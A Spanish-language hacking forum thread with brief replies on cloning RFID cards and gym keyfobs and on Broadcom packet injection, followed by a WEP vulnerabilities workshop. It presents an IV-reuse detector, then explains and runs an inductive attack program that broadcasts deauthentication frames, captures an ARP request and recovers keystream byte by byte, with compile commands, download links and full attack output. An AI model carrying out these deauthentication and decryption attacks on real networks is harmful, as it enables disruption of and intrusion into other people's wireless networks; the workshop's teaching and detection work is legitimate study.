Mensajes

Buenas:

Pero si supuestamente tenemos una tarjeta que queramos clonar a efectos de experimentos... primero tendremos que saber si la misma lleva o no protección (creo que TODAS las ISO 1443 Type B Compliant llevan seguridad).... ¿no? y si lleva protección te toca usar la fuerza bruta o ver alguna "debilidad" de dicha protección....

NO se si alguna vez habeis ido a algun Gimnasio (yo no  ) y os han enseñado unas llavecillas de plástico .... (creo que lleva tambien un rfid) 

Un saludo

ChimoC

P.D.: http://www.cq.cx/prox.pl

Buenas:

Las broadcom son muy puñeteras (a veces van y otras veces no).

Hay gente que dice que le funciona con Wifiway 1.0 Final y otrso con Ubuntu parcheando para inyectar.

En cuanto a snifar no se si te refieres a modo promíscuo o únicamente a usarla tipo airodump.

Puedes capturar paquetes y luego usar esos paquetes descifrados con wireshark... aunque no sería en modo promíscuo

Un saludo

ChimoC

Buenas:

Creo que para el 25 de este mes......  

Un saludete

ChimoC

Buenas:

Chinchetazo al canto "mikelet" 

Lo muevo para la zona de Hacking Wireless Linux

Un saludo

ChimoC

Buenas:

Martin-Ph03n1X no entiendo qué quieres decir con tu post....

Un saludo

ChimoC

Buenas:

Leet = 1337

Un saludo

ChimoC

[VULNERABILIDADES WEP. PARTE III. Práctica (II)]

VULNERABILIDADES WEP. PARTE III. Práctica (II)

Todos los ataques que estamos estudiando, tienen un punto común: La reutilización de un IV

Como ya dije hace tiempo, esto es precisamente el mayor problema de WEP, no hay control sobre el uso de un mismo IV, peor aún, tal y como está diseñado el protocolo, no tiene solución.

Por tanto lo único que un administrador puede hacer contra ataques de tipo replay (sa sea una reinyección, ataque inductivo, reactivo, chopchop, flipping, etc...) es disponer de sensores en la red que le adviertan de tal circunstancia.

Los IDS inalámbricos incorporan este tipo de alertas, nosotros vamos a diseñar una muy sencilla.

El programa lo he bautizado detectorIV.c lo puedes descargar desde:

http://www.megaupload.com/?d=M7YP4VZ2

Lo guardamos junto los códigos fuente de aircrack y lo compilamos:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o detectorIV.o detectorIV.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude detectorIV.o common.o crypto.o -o detectorIV -Losdep -losdep   -lssl -lcrypto

El funcionamiento del mismo es muy simple:

El programa llama a una función: detectar_reenvio

En esta función, se introduce la red a controlar (en esta ocasión y para variar un poco de los otros ejercicios), en lugar de pasar un Bssid como parámetro, debemos escribir el ESSID.

Quizás de lo mas significativo de este programa de cara a este Taller WiFi es el modo en el que se conoce el essid de un paquete capturado.

Los essid pueden viajar en diferentes tramas, en beacons, probes y alguna otra también como los EAP.

En este caso analizamos una trama de tipo beacon, es una trama de administración por lo que lo primero que tiene que hacer nuestro programa es analizar ese tipo de trama.

Para saber si es una trama de administración tipo beacon basta con comprobar si el byte cero (el primer byte del Frame Control) es igual o no a 0x80.

Si se trata de un beacon (byte 0 es 0x80) debemos analizar los bytes 36,37 y sucesivos, de forma que:

Código [Seleccionar] Expandir

256 x el contenido del byte 36 + contenido del byte 37 = longitud del essid

En nuestro ejemplo, el essid que buscamos es TallerWIFI, esto son 10 bytes de longitud, por lo que byte 36 = 0x00 y byte 37 = 0x0A (10 en decimal)

Los bytes 38 y siguientes contienen cada una de las "letras" del essid.

Código [Seleccionar] Expandir

Byte 38 = T
Byte 39 = a
Byte 40 = l
Byte 41 = l
Byte 42 = e
Byte 43 = r
Byte 44 = W
Byte 45 = I
Byte 46 = F
Byte 47 = I

De ese modo poremos comparar si lo escrito por teclado se corresponde con lo capturado en el aire.

Una vez leído el beacon correcto extraemos el bssid de la red, esto está en la posición +10 del paquete capturado y tendrá (claro está) una longitud de 6 bytes.

Con el bssid apropiado, la función continua con el análisis de paquetes de datos y entra en un ciclo infinito el cual almacena en diferentes arrays los últimos 200 paquetes leídos.

Cada vez que se completen esos 200 paquetes se analizan todos con todos en busca de IV's duplicados, si en esa "ráfaga" de 200 paquetes capturados encontramos mas de un 5% de IV's duplicados (10 IV's) se asume que hay ataque contra la red.

El programa mostrará el IV repetido, la mac origen, la mac destino en el caso de que existan duplicidades (mas de 20)

Sería posible "bajar" ese umbral de IV's, por ejemplo, cuando se detecte mas de uno duplicado, pero puede arrojar falsos positivos, sobretodo en redes muy grandes.

También has de tener en cuenta que son 200 paquetes de datos, es decir, el programa discrimina los beacon, probes, tramas de control y administración. Si en esos 200 paquetes se encuentran mas de 10 duplicados, es que hay ataque a la vista.

Lo mismo que de costumbre, en el código hay comentarios acerca de cada línea (las interesantes) es conveniente que lo revises para que comprendas el funcionamiento del mismo.

No es que esté muy depurado, pero puede servir, si lo ejecutas....

Código [Seleccionar] Expandir

Taller_WiFi src # ./detectorIV eth1

Escribe el ESSID de la red a monitorizar --> TallerWIFI

Esperando un beacon de: TallerWIFI -->

Recibido un beacon de: TallerWIFI
BSSID --> 28:F4:D1:B7:FC:EF

Esperando paquetes de datos.....
Capturado IV num: 199 [B1 74 00 00]
Ataque de reinyección detectado!!!
IV duplicado    MAC Origen              MAC Destino             Num. Duplicados
============    ==========              ===========             ===============
B1 74 00 00     00 17 9A C3 D6 B9       00 A0 CC D0 EB 5A       13 repetidos de 200 IV's procesados

Capturado IV num: 399 [B1 74 00 00]
Ataque de reinyección detectado!!!
IV duplicado    MAC Origen              MAC Destino             Num. Duplicados
============    ==========              ===========             ===============
B1 74 00 00     00 A0 CC D0 EB 5A       00 A0 CC D0 EB 5A       195 repetidos de 200 IV's procesados

Capturado IV num: 599 [B1 74 00 00]
Ataque de reinyección detectado!!!
IV duplicado    MAC Origen              MAC Destino             Num. Duplicados
============    ==========              ===========             ===============
B1 74 00 00     00 A0 CC D0 EB 5A       00 A0 CC D0 EB 5A       197 repetidos de 200 IV's procesados
......
......


Hasta aquí esta tercera parte de vulnerabilidades WEP, por el momento, todos los ataques de "adivinación" para descifrar el mensaje protegido con WEP se basan en el conocimiento completo del texto plano (caso de ataquePLANO.c) o parcial (caso del arpdecode4.c) de un paquete cifrado.

En estas pruebas, el atacante era conocedor de la totalidad del contenido del mensaje en texto plano o podía suponer una parte del mismo y reconstruir el resto mediante el ataque inductivo.

Las siguientes pruebas que haremos (en la cuarta parte y siguientes) ya no partirán de estas premisas, en las prácticas venideras, el atacante desconocerá por completo el mensaje que se está transmitiendo, no se harán "suposiciones" acerca si es un ARP, TCP, UDP, etc.. sencillamente será "un misterio", y sin embargo como veremos, seremos capaces de descifrar el mensaje completo y obtener el keystream necesario para poder enviar cualquier paquete de datos a la red.

Hasta entonces

[VULNERABILIDADES WEP. PARTE III. Práctica (I)]

VULNERABILIDADES WEP. PARTE III. Práctica (I)

Ataque Inductivo.

Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:

* send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.

Funcion main.

* Lee del teclado un BSSID sobre el que se realizará el ataque
* Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)

Función ataque_inductivo

Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.

La desautenticación la realiza llamando a una funcion que es:

desautenticar_todos(macAP)

O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.

Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.

AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.

Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.

Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.

Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie "se atrevió" a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.

Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:

Código [Seleccionar] Expandir

3 bytes (24 bits) para el IV
1 byte  (8 bits) para el keyindex (número de llave que usa)

Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.

Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.

Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.

Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.

Algo así:

Código [Seleccionar] Expandir

SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP
En caso contrario ES WEP

Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211

Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.

Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.

El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.

Observa que el paquete ha de ser toDS!!!

Sabes por qué, no????

Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.

Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría... 68 bytes para un ARP (o 70 si hay QoS)

Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:

paquete_cifrado: Lógicamente se trata del paquete original

h80211: Que se usará para enviar o recibir las tramas

temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV's y sin ICV's. SOLO DATOS.

crc32: pues será un array que almacena el icv resultante de temporal.

F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV

key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV.

paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.[/list]Además contamos con otras variables y constantes necesarias para llevar el ataque:

mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro)

inicio, es la posición inicial del ataque, para nuestro caso será 15

final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar

actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.[/list]También utiliza dos funciones:

add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:

Código [Seleccionar] Expandir

add_crc32 (temporal, actual-3)

Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.

También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.

Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual



Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)

Se van enviando estos paquetes con el "añadido" de ese último byte y se comprueban las respuestas.

La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).

La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y "busca" en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:

Entregará como resultado 0 (cero) si no hubo respuesta
Un valor distinto a cero si acertamos con el byte.

Ese valor de retorno (siempre que no sea cero) será el valor de actual+24+4+1) es decir,

Código [Seleccionar] Expandir

Para nuestro primer byte sería (el 15)

Retorno= 15 + 24 + 4 + 1 = 44 bytes

15 por la posición actual
24 por la cabecera 80211 (o 26 si hay QoS)
4 por el IV
1 por el byte que estamos añadiendo

Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.

[size=18]Ojo!!! Importante lo de fromDS[/size], está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos "sea el corecto" el punto de acceso responderá con el bit fromDS (DESDE) activado.

Todo esto lo realiza la función ver_envio_ap

Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.

Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.

Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de  falsos positivos.

Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.

En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.

Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:



De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.

Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6

Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si... hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)

y lo compilas:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode4.o arpdecode4.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep   -lssl -lcrypto

Podemos verlo en acción:

Código [Seleccionar] Expandir

Taller_WiFi src # ./arpdecode4 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D:

ATENCION!!! Parece que no se capturan ARP_REQ
*********** Probando desautenticación al broadcast

Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->
Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

80 E3 C3 5A  5F 12 30 50  D4 01 D5 65  3E 3D 6F E1
09 EA 6F 7F  50 D3 B1 79  55 53 EF EE  03 64 98 7E
CC F9 9F EF  53 07 FC AF

-> Byte num. 1  Candidato n/a   keystream 2A    byte cifrado: 80   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 49    byte cifrado: E3   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream C0    byte cifrado: C3   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 5A    byte cifrado: 5A   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 5F    byte cifrado: 5F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream 12    byte cifrado: 12   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream 38    byte cifrado: 30   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 56    byte cifrado: 50   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream D4    byte cifrado: D4   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 00    byte cifrado: 01   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream DD    byte cifrado: D5   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream 38    byte cifrado: 3E   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 39    byte cifrado: 3D   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 6F    byte cifrado: 6F   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato 5B    keystream E0    byte cifrado: E1   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 9E    keystream 09    byte cifrado: 09   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato F7    keystream FD    byte cifrado: EA   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 44    keystream F5    byte cifrado: 6F   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 4D    keystream BC    byte cifrado: 7F   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato 16    keystream 86    byte cifrado: 50   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato E8    keystream 6A    byte cifrado: D3   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato A6    keystream BB    byte cifrado: B1   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato AF    keystream 73    byte cifrado: 79   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 67    keystream 5F    byte cifrado: 55   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 26 Candidato 22    keystream 9B    byte cifrado: 53   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato B0    keystream EF    byte cifrado: EF   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato 39    keystream EE    byte cifrado: EE   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato 74    keystream 03    byte cifrado: 03   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato FD    keystream 64    byte cifrado: 64   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
Candidato decode FF Byte actual 32 de 40
Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30

-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato E6    keystream 7E    byte cifrado: 7E   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato BD    keystream C6    byte cifrado: CC   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato 47    keystream F3    byte cifrado: F9   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato EE    keystream 95    byte cifrado: 9F   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato FA    keystream 1A    byte cifrado: EF   byte decode F5 <--- IP  DESTINO (decimal 245)
-> Byte num. 37 Candidato C0    keystream 99    byte cifrado: 53   byte decode CA <--- ICV CRC32
-> Byte num. 38 Candidato 66    keystream 13    byte cifrado: 07   byte decode 14 <--- ICV CRC32
-> Byte num. 39 Candidato 9A    keystream 55    byte cifrado: FC   byte decode A9 <--- ICV CRC32
-> Byte num. 40 Candidato AF    keystream E9    byte cifrado: AF   byte decode 46 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO:  10.10.10.245.
Parámetros WEP
**************
        IV completo: 6C 6B 00 00
        Num de KEY usada: 00

keystream;
6C 6B 00 00  2A 49 C0 5A  5F 12 38 56  D4 00 DD 65
38 39 6F E0  09 FD F5 BC  86 6A BB 73  5F 9B EF EE
03 64 98 7E  C6 F3 95 1A  99 13 55 E9

Listo!!!


Duración total del ataque: 13 minutos 44 segundos

Taller_WiFi src #

El ataque "es lento"  como puedes ver al finalizar el ataque se muestra la duración del mismo. ([size=18]13 minutos 44 segundos[/size]) una pasada, vamos... y eso para unos pocos bytes...

Recuerda cómo funcionabe el programa:

Tenemos 40 bytes a "descubrir", bueno, realmente 40 – 15 = 25

Puesto que los 15 primeros ya son "bien conocidos"

Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles.

Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte "bueno" como última combinación (256), el tiempo máximo del ataque es:


(25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo.
Un millón de ms (1.000.000) es un segundo
Claro, eso en las peores condiciones, que sería agotar por cada byte sus 256 posibilidades, como eso no ocurrirá, digamos que de 8 a 10 minutos es "lo normal"

Sin embargo, podría haberse perpetuado el [size=18]ataque en menos de 25 segundos!!!![/size]!

Ehhh????

Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV's posibles de cada candidato a enviar, de tal forma que al tenerlos ya "calculados" podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).

De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,

Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV's generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso... en menos de 25 segundos lo tenemos.

El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.

Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc...

Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV's, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.

Bueno, venga, vale... te pongo un link de descarga de "la versión rápida", se llama arpdecode5.c

http://www.megaupload.com/?d=LU210GBT

Lo guardas en el directorio de las fuentes de aircrack y lo compilas:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode5.o arpdecode5.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep   -lssl -lcrypto

Ahora, vamos a ejecutarlo:

Código [Seleccionar] Expandir

Taller_WiFi src # ./arpdecode5 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

**** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D:
Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->

Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

4B 33 B8 7C  1F E4 E0 7B  54 0F EF 35  F8 58 65 A7
1F CF 1C 37  1A 25 47 4E  C5 EB 1B A0  FB 1E 9B 2F
93 26 FF AC  7A FB 21 0F

-> Byte num. 1  Candidato n/a   keystream E1    byte cifrado: 4B   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 99    byte cifrado: 33   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream BB    byte cifrado: B8   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 7C    byte cifrado: 7C   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 1F    byte cifrado: 1F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream E4    byte cifrado: E4   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream E8    byte cifrado: E0   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 7D    byte cifrado: 7B   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream 54    byte cifrado: 54   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 0E    byte cifrado: 0F   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream E7    byte cifrado: EF   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 35    byte cifrado: 35   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream FE    byte cifrado: F8   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 5C    byte cifrado: 58   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato BF    keystream A6    byte cifrado: A7   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 3E    keystream 1F    byte cifrado: 1F   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato 27    keystream D8    byte cifrado: CF   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 67    keystream 86    byte cifrado: 1C   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 66    keystream F4    byte cifrado: 37   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato C4    keystream CC    byte cifrado: 1A   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato 6E    keystream 9C    byte cifrado: 25   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato 67    keystream 4D    byte cifrado: 47   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato F3    keystream 44    byte cifrado: 4E   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 3D    keystream CF    byte cifrado: C5   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 26 Candidato B2    keystream 23    byte cifrado: EB   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato 5E    keystream 1B    byte cifrado: 1B   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato C5    keystream A0    byte cifrado: A0   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato DC    keystream FB    byte cifrado: FB   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato DD    keystream 1E    byte cifrado: 1E   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato CB    keystream 9B    byte cifrado: 9B   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato DB    keystream 2F    byte cifrado: 2F   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato 17    keystream 99    byte cifrado: 93   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato BD    keystream 2C    byte cifrado: 26   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato CB    keystream F5    byte cifrado: FF   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato 9D    keystream 65    byte cifrado: AC   byte decode C9 <--- IP  DESTINO (decimal 201)
-> Byte num. 37 Candidato B0    keystream 37    byte cifrado: 7A   byte decode 4D <--- ICV CRC32
-> Byte num. 38 Candidato 02    keystream 93    byte cifrado: FB   byte decode 68 <--- ICV CRC32
-> Byte num. 39 Candidato 4C    keystream E7    byte cifrado: 21   byte decode C6 <--- ICV CRC32
-> Byte num. 40 Candidato 4E    keystream 66    byte cifrado: 0F   byte decode 69 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
